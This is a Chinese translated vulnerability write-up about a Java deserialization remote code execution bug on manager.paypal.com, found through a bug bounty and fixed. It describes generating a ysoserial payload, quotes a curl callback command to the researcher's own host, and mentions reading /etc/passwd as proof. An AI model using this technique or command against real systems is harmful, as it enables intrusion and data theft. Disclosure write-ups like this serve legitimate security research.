PayPal远程命令执行漏洞分析

2016-01-26 389639人围观 ,发现 4 个不明物体 WEB安全漏洞

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

2015年12月,笔者在PayPal的某个分站中发现了一个能够远程执行任意shell命令的java反序列化漏洞,并且能够影响到PayPal的产品数据库。我马上将该漏洞提交给了PayPal,并且很快得到了修复。

漏洞细节

在测试manager.paypal.com这个站点时,我的注意力被post提交中的不寻常的参数“oldForm”所吸引,这个参数的内容就像是base64解码后的复杂对象。

在经过一些研究之后,我意识到这就是能被应用处理的没有经过签名的java序列化对象。这意味着你能将存在的class序列化后提交给服务器,然后“readObject”(或者“readResolve”)方法会被调用来解析该序列化的对象。为了利用这个漏洞,你需要在应用的 “classpath” 中找到一个能被序列化的合适的class,并且能被“readObject”所解析。你可以从FoxGlove Security的文章中了解更多相关的技术细节。一年前,Chris FrohoffGabriel Lawrence在Apache Common Collection这个库中发现了能够导致远程命令执行的合适的classes,然后也发布了“ysoserial”这个payload生成器。

漏洞证明

我马上下载了上面说到的这个工具,然后生成了一个简单的payload,这个payload会执行“curl x.s.artsploit.com/paypal”这个shell命令,然后会发送DNS和http请求到我自己的服务器。

然后我在post请求的“oldFormData”参数中填入base64编码后的payload,发送给了服务器。在那之后,令我印象深刻的是在我的NGINX access log中发现了来自PayPal 的请求。

我意识到我能在manager.paypal.com这个服务器上执行任意的命令,甚至我能反弹一个shell权限到我自己的服务器,然后上传和执行一个后门程序。结果会是通过manager.paypal.com这个网站,我能获取到paypal的production数据库。

但是我没有像上面说的那么去做,我只是读取了“/etc/passwd”的内容作为漏洞的验证。

我还捣鼓了一个如果复现该漏洞的视频提交给了PayPal安全团队。然后,我还发现了manager.paypal.com的其他很多地方也使用了序列化对象,并且能够被利用。

Demo视频


*原文地址:artsploit,FB小编老王隔壁的白帽子编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

更多精彩
相关推荐

这些评论亮了

  • hahah 回复
    “我还捣鼓了一个如果复现该漏洞的视频提交给了PayPal安全团队。”---咋地外国人还有东北口音啊?
    )9( 亮了
发表评论

已有 4 条评论

取消
Loading...

文章目录

    特别推荐

    推荐关注

    官方公众号

    聚焦企业安全

    填写个人信息

    姓名
    电话
    邮箱
    公司
    行业
    职位
    css.php